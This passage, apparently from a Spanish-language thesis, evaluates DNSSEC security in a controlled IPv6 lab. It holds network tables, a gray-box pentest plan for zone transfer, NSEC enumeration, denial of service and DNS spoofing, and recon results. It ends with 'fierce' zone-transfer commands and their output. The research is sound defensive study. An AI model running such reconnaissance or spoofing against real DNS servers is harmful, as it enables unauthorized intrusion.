Caché-Vvalidador Caché Vvalidador NA NA 2001:12:7000::CAFE:35 08:00:27:C3:58:61

Cliente-Validador Validador DNSSEC NA NA 2001:12:7000::CAFE: 25 08:00:27:FB:19:D0

Cliente No tiene soporte de validacion NA NA 2001:12:7000:: CAFE: 28 08:00:27:6A:D6:57

DNSSEC

Tabla 4.6 Caracteristicas de los componentes de la red Interna implementados en el S.O Centos
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COMPONENTES DE LA RED EXTERNA DEL ESCENARIO DE PRUEBAS CONTROLADO

Nombre del servidor Funcién Dominios ESTADO Direccion IPv6 Direccién MAC
Servidor DNS Raiz . Firmado 2001: 500: 2f ::f:BEBE:2 08:00:27:BB:A7:CD
f.root-servers.net
A.gtld-servers.net.com. Servidor Autoritario .com .com Firmado 2001:503:3f::BECA:2 08:00:27:81:15:A5
dnsl.comunicate.com. Servidor Autoritario comunicate.com Firmado 800:3F0:4005:403::BACA: 32 08:00:27:24:2C:FD
comunicate.com Servidor Web www.comunicate.com Firmado 2001:503:3f::BECA:3 08:00:27:82:3F:100

dnsl.networks.com Servidor Autoritario networks.com NO Firmado 800:3F0:4005:403::BACA:34 08:00:27:4A:31:88

networks.com

Tabla 4.7 Caracteristicas de los componentes de la red externa implementados en el S.O Centos

COMPONENTES DE LA RED INTERNA DEL ESCENARIO DE PRUEBAS CONTROLADO IMPLEMENTADO EN EL SISTEMA OPERATIVO WINDOWS SERVER 2012

Nombre del servidor Funcién Dominios ESTADO Direccion IPv6 Direccion MAC

dns1.bancodk.com Servidor Autoritario del bancodk.com FIRMADO 2001:12:7000:: CAFE: 32 08:00:27:B3:D8:62

bancodk.com

dnsltransacciones. SerVIdor. Autoritario del transacciones.bancodk.com FIRMADO 2001:12:7000::CAFE:33 08:00:27:7F:04:01

bancodk.com transaccionesbancodk.com

Caché-Validador Caché Vvalidador NA NA 2001:12:7000::CAFE:35 08:00:27:B4:24:90

Cliente-Validador Validador DNSSEC NA NA 2001:12:7000:: CAFE:25 08:00:27:FB:19:D0
. No tiene soporte de validacion

Cliente NA NA 2001:12:7000::CAFE: 28 08:00:27:6A:D6:57

DNSSEC

Tabla 4.8 Caracteristicas de los componentes de la red Interna implementados en el S.O Windows Server 2012
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2800:480:4000::ADA:0/124
AS 200
ROUTER DE
FRONTERA ROUTER AS 300
ISP
Fa0/0
2800:480:2000::CEDA:0/124 2800:480:3000::DEA:0/124 :1 .
. . B . :1
11 2 2 :1 S s0/2
Fa0/0 Fa0/1| ] Fa0/0 Fa0/1 $0/1/0
Fa0/1| :1 R2-QUAGGA 2800:48015000::EDAD:0/124
R1-QUAGGA
AS 100 RED INTERNA

Servidor Maestro
dns1.bancodk.com

Servidor Maestro
dns1.transacciones.bancodk.co

servidor Web

~7, bancodk.com

Servidor Esclavo
bancodk.com Servidor

Caché-Validador

Figura 4.1 Topologia de red del escenario real de pruebas controlado DNSSEC cuando la cadena de confianza esta firmada
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AS 500
2800:480:4000::ADA:0/124
AS 200
ROUTER DE
FRONTERA Rolg:ER AS 300
Fa0/0
2800:480:2000::CEDA:0/124 2800:480:3000::DEA:0/124 :1 .
11 2 2 $0/2
Fa0/0 Fao/l' ’ Fa0/0
Fa0/1| :1 R2-QUAGGA 2800:48035000::EDAD:0/124
R1-QUAGGA
AS 100 RED INTERNA
2001:1247000::CAFE:0/112

Servidor Maestro
dns1.bancodk.com

Servidor Maestro
dns1.transacciones.bancodk.co

servidor Web
bancodk.com
Servidor Esclavo

bancodk.com Servidor
Caché-Validador

Figura 4.2 Topologia de red del escenario real de pruebas controlado DNSSEC cuando la cadena de confianza esta rota
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CAPITULO 5

APLICACION DE LA METODOLOGIA PROPUESTA PARA ANALIZAR Y
EVALUAR LA SEGURIDAD DE DNSSEC EN REDES DE INFORMACION IPV6

Se presenta el desarrollo de cada una de las fases de la nueva metodologia
planteada para el andlisis y evaluacion de la seguridad proporcionada por DNSEC
en Redes de informacion IPv6 sobre el escenario real de pruebas controlado ya
definido.

5.1. FASE 1: PLANEACION

En esta fase, se describen los objetivos, el tipo de test de intrusion, el diagrama de
red del ambiente de prueba, el alcance y el plan de pruebas definido que se
llevar4 a cabo en el escenario real de pruebas controlado, como se muestra a
continuacion:

Objetivo

El objetivo de este test de penetracién es analizar y evaluar la seguridad
proporcionada por DNSSEC en redes de informaciéon IPv6 en el escenario real
de pruebas controlado, mediante la aplicaciéon de la Fase 2 de penetracion,
incluida en la metodologia planteada en el capitulo 2.

Tipo de test de intrusidn o test de penetracion (pentest):

Se lleva a cabo un pentest de tipo caja gris.

Alcance

Se lleva a cabo un pentest de seguridad de tipo caja gris que consiste en realizar
pruebas de concepto llamadas PoC, tanto en la red interna y externa del escenario
real de pruebas controlado, definidas en el plan de pruebas de seguridad que se
muestra a continuacion. Se considera que cada una de las pruebas se realizara
sobre un determinado escenario con determinados requisitos de seguridad, con el
propésito de determinar en qué casos DNSSEC proporciona o no sus servicios de
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seguridad: autenticacién del origen, y autenticacién e integridad de los datos
de DNS.

Diagrama de red del ambiente de prueba

El escenario real de pruebas controlado, estd conformado por una topologia que
incluye una red interna y una red externa.

La red interna, estd constituida por la organizacibn Bancodk, la cual presenta
una delegacion segura DNSSEC para los dominios y subdominios internos de la
organizacion, con su correspondiente servidor DNS autoritario, DNS secundario,
servidor web, hosts clientes, un servidor cache validador y un cliente validador,
que contienen el ancla de confianza del dominio bancodk.com de la organizacion
asi como la clave publica ksk del servidor raiz f.root-servers.net, con esta
infraestructura de red se realiza el proceso de validacion DNSSEC para los
dominios internos y externos a la organizacion.

La red externa, est4 conformada por los niveles de la jerarquia DNS, desde el
subdominio (www), los dominios de nivel secundario (comunicate.com vy
networks.com), pasando por el dominio de nivel superior (gTLD COM), hasta
llegar al nivel raiz; en la red externa, se presentan 2 estados: el primero, cuando
todos los niveles de la jerarquia DNS se encuentran firmados con DNSSEC a
excepcion de networks.com y el segundo cuando la cadena esta rota, es decir
qgue el dominio de nivel superior (gTLD COM) no se encuentra firmado con
DNSSEC. De esta manera los usuarios que se encuentren dentro de la
organizacion pueden realizar consultas DNSSEC a los dominios internos
www.bancodk.com y www.transacciones.bancodk.com como a los dominios

externos www.comunicate.com y www.networks.com o a dominios inexistentes

tales como coomunicate.com y baancodk.com.

La implementaciéon de los servidores DNSSEC dentro del escenario de pruebas,
se llevd a cabo en las plataformas informaticas Linux Debian Stretch v9.4, Centos
7 y Windows server 2012.

Como maquina atacante se utilizan las distribuciones (Kali-Linux y Windows 10 de
64 bits), configurando la interfaz ethO, donde el Pentester tendra acceso a la red

interna CAFE para llevar a cabo las pruebas de concepto PoC, desde la red
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interna de la organizacion Bancodk, asi mismo realiza PoC desde la red externa
del escenario real de pruebas controlado definidas en el plan de pruebas de
seguridad que se muestra mas adelante en las respectivas Tablas.

En las siguientes Figuras se muestra el Diagrama de red del escenario real de

pruebas controlado DNSSEC en redes de informacién IPv6, y la ubicacion
(Red interna o Red externa), desde donde se llevaran a cabo las diferentes PoC.
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2800:480:4000::ADA:0/124

As 300
Fa0/0
H

$0/1/0
2800:48035000::EDAD:0/124

AS 200
ROUTER DE
FRONTERA ROUTER
ISP
2800:480:2000::CEDA:D/124 2800:480:3000::DEA:0/124
1 2 2 :1
Fa0/0 Fa0/1| ] Fa0/0 Fa0/1
Fa0/1| :1 R2-QUAGGA
R1-QUAGGA
AS 100 RED| INTERNA

2001:1237000::CAFE:0/112

Servidor Maestro
dns1.bancodk.com

Servidor Maestro
dns1.transacciones.bancodk.co

servidor Web
bancodk.com
Servidor Esclavo

bancodk.com Servidor
Caché-Validador

Figura 5.1 Diagrama de red del escenario real de pruebas controlado DNSSEC en redes de informacion IPv6
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Figura 5.2 Puntos de ataque desde lared interna
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Figura 5.3 Puntos de ataque desde la red Externa
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Plan de pruebas de seguridad

El plan de pruebas de seguridad se divide en dos tipos de pruebas, el plan de
pruebas de recoleccion de informacion y el plan pruebas de identificacion y
explotacion de vulnerabilidades.

Se indica por medio de una X cuales pruebas que se realizaran en cada escenario
para los casos de las pruebas de recoleccion de informacion y de identificacion y
explotacion de vulnerabilidades.

Plan de pruebas de recoleccion de informacion

Se busca recolectar la mayor cantidad de informacion posible, si se esta ubicado
dentro de la red de la organizacion con un conocimiento basico sobre el objetivo
como lo es el nombre del dominio bancodk.com o la direccion IPv6
2001:12:7000::cafe:2.

En la Tabla 5.1, se muestra el plan de pruebas de recoleccion de informacion que
se realizara desde la red interna CAFE, para encontrar informacion sobre las
redes objetivo (interna y externa), cuando el escenario de pruebas tiene
implementado DNS o DNSSEC con (NSEC y NSEC3). En los diferentes sistemas
operativos (Centos/Debian/Centos-Wind/Debian-Windows).

EJECUCION DE RED
LA PRUEBA OBJETIVO

SISTEMA OPERATIVO PoC DNS DNSSEC

Descubrir host activos en
segmento de red

RECOLECCION Encontrar Sistemas
DE INTERNA Operativos X X
INFORMACION Centos servicios y versiones

Debian
Windows-Debian SR

Windows-Centos

Identificar relaciones IPv6
con servidores, dominios X X
y subdominios

Identificar relaciones IPv6
EXTERNA con servidores, dominios X X
y subdominios

Tabla 5.1 Plan de pruebas de recoleccion de informacion
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Plan de pruebas de identificacion y explotacion de vulnerabilidades

A continuacion se muestra el plan de pruebas de identificacion y explotacion de
vulnerabilidades que se llevara a cabo desde la red interna y externa del escenario
real de pruebas controlado. Considerando que las PoC de transferencia de zona,
enumeracion de dominio por consulta incorrecta, y denegacion de servicio se
realizaran desde la red interna (RED CAFE) de la organizacion Bancodk, y que las
PoC DNS Spoofing, se llevaran a cabo tanto desde la red interna como externa.

Para evaluar la seguridad proporcionada por DNSSEC, se debe considerar que
cada una de las pruebas se realizaran sobre escenarios distintos con diferentes
requisitos de seguridad con el fin de determinar en qué casos DNSSEC es 0 no
es vulnerable a las PoC de transferencia de zona, enumeracion de dominio por
consulta incorrecta, denegacion de servicio y DNS Spoofing.

En la siguiente Tabla se muestra el plan de pruebas de las PoC mencionadas:

Transferencia de zona X X X
Enumeracion de
INTERNA dominios por consultas X X
INTERNA incorrectas
» O
FLOTACION D Denegacion de servicio| X X
RABILIDA
S INTERNA/EXTERNA DNS Spoofing X
Debian
Windows-Debian Transferenciadezona | X X X
Windows-Centos
Enumeracion de
INTERNA dominios por consultas X X
EXTERNA incorrectas
Denegacion de servicio| X X
INTERNA/EXTERNA DNS Spoofing X

Tabla 5.2 Plan de pruebas de explotacion de vulnerabilidades identificadas

A continuacion se presenta de manera detalladas los planes de pruebas de
transferencia de zona, enumeracion de dominios por consultas incorrectas,
denegacion de servicio y DNS Spoofing.
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SERVIDOR DNSSEC
INTERNO/EXTERNO SERVIDORES AUTORITARIOS DNS DNSSEC NSEC NSEC3
dns1.bancodk.com. X X X
INTERNO
dns1.transacciones.bancodk.com. X X X
a.gtid-servers.net.com. X X X
EXTERNO dns1.comunicatecom. X X X
dns1.networks.com. X X X
Tabla 5.3 Plan de pruebas de transferencia de zona
DOMINIO INTERNO- DNSSEC DNSSEC
DOMINIOS
EXTERNO NSEC NSEC3
Externo .com X X
Interno bancodk.com X X

Tabla 5.4 Plan de pruebas de enumeracién de dominio por consultas incorrectas

SERVIDOR
INTERNO/EXTERNO SERVIDOR AUTORITARIO DE DOMININO DNS DNSSEC NSEC3
INTERNO dnsl.bancodk.com. X X
EXTERNO dnsl.comunicate.com. X X

Tabla 5.5 Plan de pruebas de Denegacién de servicio

Plan de pruebas DNS Spoofing

Se enfoca en probar la mayoria de los escenarios posibles, en que se podria
colocar un atacante, de igual forma como se busca analizar y evaluar el
comportamiento de DNSSEC en redes de informacion IPv6 se considera dos
casos generales, cuando toda la cadena de confianza esta completa es decir que
los servidores de mayor jerarquia DNS tengan desplegado DNSSEC vy el caso
donde la cadena esta rota es decir que uno de los servidores de mayor jerarquia
DNS no tengan desplegado DNSSEC (servidor autoritario del dominio com).

Plan de pruebas DNS Spoofing cuando la cadena de confianza DNSSEC esta
completa, con las PoC realizadas desde lared interna

A continuacion se muestra el plan de pruebas de DNS Spoofing cuando la cadena
de confianza esta completa. Con el fin de evaluar la seguridad proporcionada por
DNSSEC se consideran varios parametros para realizar diferentes pruebas.

Los parametros que definen una PoC de DNS Spoofing son:
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e Los validadores DNSSEC que pueden ser: el servidor DNS caché, el cliente o
ambos, los cuales tienen almacenada el ancla de confianza del dominio raiz y
el dominio bancodk.com.

e EIl dominio consultado por el cliente el cual puede ser un dominio firmado
(bancodk.com y comunicate.com), un dominio inexistente (bancodk.com y
coomunicate.com) y dominios no firmados (networks.com)

e El hombre en el medio (MITM), es el ultimo pardmetro en el cual se diferencia
si el atague de DNS Spoofing busca envenenar al servidor caché o solo
engafar al cliente.

e Las pruebas de MITM para los dominios internos se realizan entre:
e Cliente-Cache, Cache-Banco y Cliente-Web.

e Las pruebas de MITM para los dominios externos se realizan entre: Cache-
Gateway, Cliente-Gateway y Cliente-Cache.

bancodk.com

VALIDADORES comunicate.com ; coomunicate.com baancodk.com networks.com
transacciones

CACHE-GATEWAY X X X

CLIENTE -CACHE X X X X X
CLIENTE-GATEWAY X X X

CACHE
CLIENTE-BANCODK
CLIENTE-WEB
BANCODK

CACHE-BANCODK X X
CACHE-GATEWAY X X X

CLIENTE -CACHE X X X X X
CLIENTE-GATEWAY X X X

CLIENTE
CLIENTE-BANCODK
CLIENTE-WEB
BANCODK

CACHE-BANCODK X X
CACHE-GATEWAY X X X

CLIENTE -CACHE X X X X X

CLIENTE-CACHE

CLIENTE-GATEWAY X X X
CACHE-BANCODK X X

Tabla 5.6 Plan de pruebas DNS Spoofing con cadena firmada

De igual forma para evaluar el comportamiento de la seguridad proporciona por
DNSSEC, se realiza un plan de pruebas cuando la cadena esta completa pero la

PoC se realiza desde la red externa.
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Plan de pruebas DNS Spoofing cuando la cadena de confianza DNSSEC esta
firmada, con las PoC realizadas desde la red externa.

A continuacion se muestra el plan de pruebas de DNS Spoof ing cuando la cadena
de confianza esta completa.

Los pardmetros que definen una PoC de DNS Spoofing son:

e Los validadores DNSSEC que pueden ser: el servidor DNS caché, el cliente o
ambos, los cuales tienen almacenada el ancla de confianza del dominio raiz y
el dominio bancodk.com.

e EI dominio consultado por el cliente el cual puede ser un dominio firmado
comunicate.com. o un dominio inexistente coomunicate.com

e El hombre en el medio (MITM), es el ultimo pardmetro en el cual se diferencia
si el ataque de DNS Spoof busca envenenar al servidor caché o solo engafiar
al cliente.

En la Tabla 5.7, se observa que las PoC se realizan desde dos redes externas
distintas: cuando el atacante esta primero en la red BACA, donde se encuentra el
servidor autoritario del domino comunicate.com y cuando se encuentra en la red
BEBE, donde se encuentra el servidor autoritario del domino raiz. Los MITM se
realizan entre, Servidor autoritario del dominio raiz — Gateway de la red bebe y
Servidor autoritario del dominio comunicate.com — Gateway de la red BACA.

RED VALIDADORES MTM COMUNICATE.COM | COOMUNICATE.COM

CACHE GATEWAY -SERVIDOR X X

COMUNICATE.COM

BACA

CLIENTE-CACHE X X

CLIENTE X X
GATEWAY-SERVIDOR RAIZ

CLIENTE-CACHE X X

Tabla 5.7 Plan de pruebas DNS Spoofing con Cadena Firmada, PoC
Realizadas desde la red externa
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Plan de pruebas DNS Spoofing cuando la cadena de confianza DNSSEC esta
rota, con las PoC realizadas desde lared interna

A continuacion se muestra el plan de pruebas de DNS Spoofing cuando la cadena
de confianza esta rota.

Los pardmetros que definen una PoC de DNS Spoofing son:

e Los validadores DNSSEC que pueden ser: el servidor DNS caché, el cliente o
ambos, los cuales tienen almacenada el ancla de confianza del dominio raiz y
el dominio bancodk.com.

e EI dominio consultado por el cliente el cual puede ser un dominio firmado
(bancodk.com y comunicate.com), un dominio inexistente (bancodk.com vy
coomunicate.com) y dominios no firmados (networks.com)

e El hombre en el medio (MITM), que es el Gltimo parametro, y en el cual se
diferencia si el ataque de DNS Spoofing busca envenenar al servidor cache o
solo engafar al cliente.

bancodk.com

VALIDADORES comunicate.com . coomunicate.com baancodk.com networks.com
transacciones
CACHE-GATEWAY
CLIENTE -CACHE X X X X
CACHE
CLIENTE-GATEWAY
CACHE-BANCODK X X
CACHE-GATEWAY
CLIENTE -CACHE X X X X
CLIENTE
CLIENTE-GATEWAY
CACHE-BANCODK X X
CACHE-GATEWAY
CLIENTE -CACHE X X X X
CLIENTE-CACHE
CLIENTE-GATEWAY X X X
CACHE-BANCODK X X

Tabla 5.8 Plan de pruebas DNS Spoofing con Cadena Rota

5.2 FASE 2: PENETRACION

A continuacion se presentan los resultados obtenidos y el analisis de las PoC
realizadas en la Fase 2 de la metodologia planteada, sobre el escenario real de
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pruebas controlado, con el fin de analizar y evaluar la Seguridad proporcionada
por DNSSEC en Redes de Informacion IPv6. Para mayor informacion sobre los
resultados obtenidos, ver el reporte Técnico que se encuentra en el Anexo No.3.

Primero se realizé un analisis con el proposito de determinar en qué casos las
pruebas fueron exitosas y no exitosas en funcidn de los validadores de
DNSSEC, para los diferentes dominios probados, cuando toda la cadena DNSSEC
esta firmada y cuando esta rota, para evaluar la seguridad proporcionada por
DNSSEC, aplicando la Fase 3, relacionada con la Evaluaciéon de vulnerabilidades
de la metodologia planteada, basandose en el estandar de Sistema de puntuacion
de vulnerabilidad comun CVSS v3.0, y asi finalmente poder determinar en qué
casos es y no es vulnerable las extensiones de seguridad DNSSEC en el
escenario de pruebas controlado.

Para comprender mejor el resultado de las pruebas con sus respectivas tablas y
graficas se debe considerar las siguientes anotaciones:

Validadores.

Se refiere a los actores que realizan el proceso de validacion de DNSSEC, ya sea
el servidor caché, un cliente de la organizacién, 6 ambos.

Estado de las Cadenas de Confianza de DNSSEC:

Cadena de confianza DNSSEC firmada.

Significa que toda la cadena de confianza de la red externa e interna estan
firmadas con DNSSEC.

Red interna firmada.

Significa que los dominios y subdominios de la red interna de la organizacion
BANCODK estan firmados con DNSSEC desde la zona hia
(transacciones.bancodk.com) hasta la zona padre (bancodk.com), y que el
servidor caché y/o el cliente que realiza el proceso de validacion DNSSEC
contienen la clave publica KSK o el ancla de confianza del dominio interno
bancodk.com.
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Red externa firmada.

Significa que cada nivel de la jerarquia DNS se encuentra firmado con DNSSEC,
es decir que cada organizacion de la cadena debe firmar la clave de la
organizacion inmediatamente inferior. Por ejemplo para el nombre de
dominio www.comunicate.com, .com firma la clave de comunicate.com y la raiz
firma la clave de .com, de esta manera el servidor caché y/o el cliente que realiza
el proceso de validacion DNSSEC contienen la clave del servidor raiz, la cual sera
necesaria para validar el nombre de dominio completo externo a la organizacion.

Cadena de confianza DNSSEC rota o incompleta.

Significa que cada nivel de la jerarquia DNS se encuentra firmado con DNSSEC, a
excepcion del dominio de nivel superior (gTLD COM).

C-F: COM Firmado. C-SF: COM Sin Firmar.

Estado de los dominios:

F: Se refiere a un dominio que esta firmado con DNSSEC.

NF: Se refiere a un dominio que No esta firmado con DNSSEC.

NF-I: Se refiere a un dominio que no existe y que por lo tanto No esta firmado con
DNSSEC.

Dominios internos:
www.bancodk.com www.transacciones.bancodk.com

Dominios externos:
www.comunicate.com www.networks.com

Dominios inexistentes:
coomunicate.com baancodk.com

PoC Exitosa

Significa que al ejecutar la Prueba de Concepto sobre el escenario real de pruebas
controlado DNSSEC, fue exitosa es decir que DNSSEC fue vulnerable.

PoC NO Exitosa

Significa que al ejecutar la Prueba de Concepto sobre el escenario real de pruebas

controlado DNSSEC, fue no exitosa, es decir que DNSSEC no fue vulnerable.
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http://www.comunicate.com/
http://www.bancodk.com/
http://www.transacciones.bancodk.com/
http://www.comunicate.com/
http://www.networks.com/

5.2.1 Resultados de recolecciéon de informacién

De las PoC realizadas sobre el escenario de pruebas controlado en las diferentes
plataformas (Centos, Debian y Windows) se determind: primero los hosts activos
del segmento de la red CAFE, inmediatamente se identificd los sistemas
operativos, los puertos, los servicios y versiones que ofrecen cada host uno de los
host activos.

Una vez se determind que hosts ofrecian el servicio de DNS, se realizd una serie
de pruebas indicadas en la metodologia, para establecer la relacion entre
nombres de dominio e IPs.

Por ultimo, a partir de encontrar los dominios de la red interna CAFE, se determiné
la cadena de jerarquia DNS para dichos dominios encontrados, para determinar
las relaciones IP involucradas entre IPs y dominio DNS. A continuacion se muestra
un ejemplo de lo resultados obtenidos del proceso de recoleccion de informacion,
de manera resumida en las respectivas tablas.

EJEMPLO: Recoleccion de informacidn en un escenario Linux Debian.

Encontrar Hosts activos en el segmento de red

Se encontraron los hosts activos dentro del segmento de red, estableciendo una
relacion direccién IPv6 y direccion MAC.

IP ACTIVAS MAC-SISTEMA OPERATIVO

2001:12:7000::CAFE:1 F0:4D:A2:DB:F2:CE
2001:12:7000::CAFE:2 08:00:27:89:EC:C5
2001:12:7000::CAFE:3 08:00:27:4E:57:DD
2001:12:7000::CAFE:4 08:00:27:50:64:6E
2001:12:7000::CAFE:5 08:00:27:F1:2C:A5

Tabla 5.9 IP activas en el segmento de red
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Sistemas operativos, servicios y versiones

Se determiné que servicios presta cada host activo en la red, como también la
version de cada uno de ellos, dato que sirve para buscar vulnerabilidades
especificas de las versiones de dichos servicios.

IP ACTIVAS S.0 PUERTOS-SERVICIOS-VERSIONES

111/tcp Rpcbind | 2-4 (RCP 100000)

Linux 179/tcp Bgp tcpwrapped
Debian
9.8 2601/tcp Zebra Quagga routing software 0.99.23.1

2001:12:7000::CAFE:1

2605/tcp bgpd Quagga routing software 0.99.23.1

2001:12:7000::CAFE:2 53/tcp domain | BIND 9.10.3-P4
2001:12:7000::CAFE:3 DL;E‘::H 53/tcp domain | BIND 9.10.3-P4
2001:12:7000::CAFE:4 | % 53/tcp | domain | BIND 9.10.3-P4
2001:12:7000::CAFE:5 53/tcp domain | BIND 9.10.3-P4

Tabla 5.10 Servicios y versiones, de los host activos en segmento de red

Identificar Relaciones de Direcciones IPv6 con Servidores, Dominios y
Subdominios

Al ejecutar esta actividad se determiné todas las relaciones entre direcciones IPv6
y Nombres de Dominio, identificando los servidores DNS autoritarios de cada uno
de los dominios existentes, ademas de recolectar los registros AAAA de cada
uno no ellos.

RELACIONES DIRECCIONES IPvé CON NS, DOMINIOS Y SUBDOMINIOS

DOMINIO bancodk.com IPvé
NS | dns1.bancodk.com 2001:12:7000::CAFE:2

Subdominios

www.bancodk.com 2001:12:7000::CAFE:6
transacciones.bancodk.com 2001:12:7000::CAFE:8
DOMINIO transacciones.bancodk.com IPv6e

NS | dns1.transacciones.bancodk.com 2001:12:7000::CAFE:3
www.transacciones.bancodk.com 2001:12:7000::CAFE:8

Tabla 5.11 Relaciones IPv6 con Servidores, Dominios y Subdominios, Red Interna
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RELACIONES DIRECCIONES IPvé CON NS, DOMINIOS Y SUBDOMINIOS

DOMINIO RAIZ “.” IPv6

NS f.root-servers.net. 2001:500:2F::F:BEBE:2

Subdominios

com. 2001:503:3F::BECA:2
DOMINIO com IPv6
NS | a.gtld-servers.net.com. 2001:503:3F::BECA:2
Subdominios

bancodk.com comunicate.com networks.com
2001:12:7000::CAFE:2 | 2001:503:3F::BECA:2| 2001:503:3f::BACA:4
DOMINIO comunicate.com IPv6
NS | dns1.comunicate.com 2800:3F0:4005:403::BACA:2

Subdominios

www.comunicate.com 2001:503:3F::BECA:3
DOMINIO networks.com IPv6
NS | dns1.networks.com 2800:3F0:4005:403::BACA:4

Subdominios
www.networks.com | 2001:503:3f::BECA:4

Tabla 5.12 Relaciones IPv6 con Servidores, Dominios y Subdominios, Red Externa

De los escenarios probados, en el proceso de recoleccion de informacion se
obtuvieron las direcciones IPv6 y MAC de todos los servidores DNS tanto de la red
interna como de la red externa con sus respectivas versiones. De igual forma se
determind que host son DNS autoritarios para los diferentes dominios de la
jerarquia  DNS (.com, bancodk.com, comunicate.com, networks.com vy
transaciones.bancodk.com).

Habiendo determinado que hosts prestaban el servicio DNS y de identificar las
relaciones direcciones IPv6-nombre de dominio, se puede iniciar con la fase de
penetracion, centrdndose en estas direcciones IPv6 como objetivos para realizar
las pruebas manuales especificas para determinar las vulnerabilidades presentes
en estos servidores y analizar la seguridad proporcionar por DNSSEC en los
diferentes escenarios probados.
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5.2.2 Resultados de identificacién y explotacién de vulnerabilidades

Debido a que para este Proyecto, los activos de mayor importancia son los
servidores (DNS/DNSSEC), por medio de documentacion previa se encontraron
una serie de posibles vulnerabilidades asociadas al servicio DNS (DNSSEC), entre
las cuales estan:

Por condiciones de diseno de DNSSEC, que no proporciona
confidencialidad. RFC 4033, RFC3833.

El uso de DNSSEC con RR NSEC, que permite enumerar el contenido
de una zona, a partir de la consulta de nombres de dominio que no
existen. RFC 5551, RFC 7129.

El uso de UDP como protocolo de transporte, que posibilita IP spoofing.
RFC3833.

El Resolver DNSSEC no puede verificar las respuestas que se originan
en una zona sin firmar. RFC4033

Un Cliente resolver que NO realiza validacion. RFC4033

Para verificar la existencia de vulnerabilidades en DNSSEC, se realizaron las
siguientes PoC:

1.

2.

3.

4.

5.

Transferencia de zona.

Enumeracién de dominio por consultas incorrectas.
Denegacién de Servicio.

Secuestro de URL por el ataque del Typosquatting.

DNS Spoofing.

Se procede a la ejecucion de cada una de las PoC. Estas PoC son realizadas

sobre el escenario de pruebas controlado en las diferentes plataformas (Centos,
Debian y Windows), para determinar la existencia de las vulnerabilidades de
transferencia de zona, Enumeracion de dominio por consulta incorrectas, DNS
Spoofing y Denegacion de servicio y simultaneamente su explotacion, de lo cual

se obtuvieron los respectivos resultados.
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Transferencia de zona

Se realizaron las pruebas de transferencia de zona en las diferentes plataformas
(Centos/Debian/Windows), cuando en el escenario de pruebas se tiene
implementado: DNSSEC con (NSEC/NSEC3), obteniendo los siguientes
resultados:

EJECUCION DNSSEC o
DE LA SERVIDORES AUTORITARIOS ~ NSEC/ =22 o
PRUEBA NSEC3

SISTEMA
OPERATIVO

Red Interna | dnsl.transacciones.bancodk.com
CENTOS a.gtld-servers.net.com Si
Red Externa .
dnsl.comunicate.com Sl
Red Interna | dnsl.transacciones.bancodk.com | NO
DEBIAN a.gtld-servers.net.com
Red Externa g - S| NO
dnsl.comunicate.com Sl NO
WINDOWS | Red Interna | dnsl.transacciones.bancodk.com Si NO

Tabla 5.13 Resultados Transferencia de zona

Se obtuvo que las PoC de transferencia de zona, solo fueron exitosas en el
sistema operativo Centos 7, cuando los servidores no se configuraron de manera
segura, obteniendo los archivos de zona de los servidores autoritarios
dnsl.transacciones.bancodk.com, a.gtld-servers.net.com y dnsl.comunicate.com
cuando se tenia implementado DNSSEC con NSEC y NSEC3.

A diferencia de los sistemas operativos Windows y Debian las pruebas fueron NO
exitosas, cuando se realizaron configuraciones seguras en Debian, y ninguna
configuraciéon en Windows.

Para las PoC de transferencia de zona, Se utilizaron las herramientas: dig,
fierce, dnswalk, dnssecwalk.

Por ejemplo, para la PoC de Transferencia de zona se muestra que un atacante

no autorizado solicitd la transferencia de zona al servidor autoritario
dnsl.comunicate.com, como se indica en la Figura 5.4 por las autoras:
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RED INTERNA RED EXTERNA

CADENA DE CONFIANZA
DNSSEC FIRMADA

2001:12:7000::CAFE:0/112

\\\, Servidor DNS Raiz
° f.root-servers.net
N
BEBE:32
| Servidor Autoritario
s .com
| > A.gtld-
X servers.net.com.
AXFR comunicate.com BECA:32

ATACANTE

ROUTER DE|
FRONTERA |

Servidor Autoritario
comunicate.com

BACA:32

Servidor Web
www.comunicate.com

Figura 5.4 Ejemplo PoC de Transferencia de zona

En la Figura 5.5 por las autoras, se muestra que con la herramienta fierce, se
obtuvo el archivo de zona del servidor autoritario con sus correspondientes
registros: DNS, DNSSEC con NSEC. Identificando sus dominios con su respectiva
direccion IPv6:

# fierce -dns comunicate.com.
«CIVCIi o LA Lo UHACAalLC .U, .

dnsl.comunicate.com

Trying zone transfer first...
Testing dnsl.comunicate.com

whoah, it worked - misconfigured DNS server found:
comunicate.com. 864000 1IN SOA ( dnsl.comunicate.com. admin.dnsl
2018041701 ;serial
86400 ;refresh
3600 ;retry
604800 ;éexpire
10800 ;minimum
)
comunicate.com. 864000 IN RRSIG ( SOA 7 2 864000 20180629132629 20180530132629
22523 comunicate.com.
Z4RhrqXHU7462zQo8a6rViKEaKleblZ6/1QP20KBdfasdgDCIvVjHRCVOSGROVAOSY02q4PbwOnWln
qMbxZjMOTWT joAaVnAIAaINeep2+2Hac0) /2BT9ahY9fmZ6KD44ui63Q6h/M2IVVKFLILAtX rNmH
KOmPIvde8+AQYSGUWS50= )
comunicate.com. 864000 1IN NS dnsl.comunicate.com.
comunicate.com. 864000 IN RRSIG ( NS 7 2 864000 201806629132629 20186530132629
22523 comunicate.com.
aa0bmFbSMGCXQalwbjLIKOOK1p6N2ceWCIVCAUSRThVWLALGICc77LmWALYBNnykmUCZPy)78s1US
4930IuqSPIsvwFgoIINDiik1lqIWwBPOCEKQWIUCE8X0eY2GXx0bPNF67KqQFIVMIDHXVEXrS3P30kY6T
62Z2s3CvbcTmrlinEO18= )
comunicate.com. 864000 IN AAAA 2800:310:4005:403: :baca:32
comunicate.com. 864000 IN RRSIG ( AAAA 7 2 864000 20180629132629 20180530132629

hwbnIbuf/xXTws/hws0153X9/20H0yNBMx j 4Mo1ptUSGAZCKKGMbcFK3Yhzs f3wa7RDdarEv8esy
PR+J5)tvvrLZfNLi1oL2M8g36QA0TI4/c+5/0K20 L+KPNg9L7raijcVvSowkLIEUICrKKeQgSCE

ol

comunicate.com. 10800 IN ( dnsl.comunicate.com. NS SOA AAAA RRSIG NSEC
DNSKEY )

Figura 5.5 Resultado PoC de Transferencia de zona
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A diferencia de cuando se solicita la AXFR a un servidor DNS autoritario, al cual
se realizd una configuracion segura, de modo que se deniega la transferencia de
zona, como se muestra en la Figura 5.6 por las autoras:

:~# fierce -dns bancodk.com.
DNS Servers for bancodk.com.:
dnsl.bancodk.com

Trying zone transfer first...
Testing dnsl.bancodk.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way...

brute force
Checking for wildcard DNS...

Nope. Good.

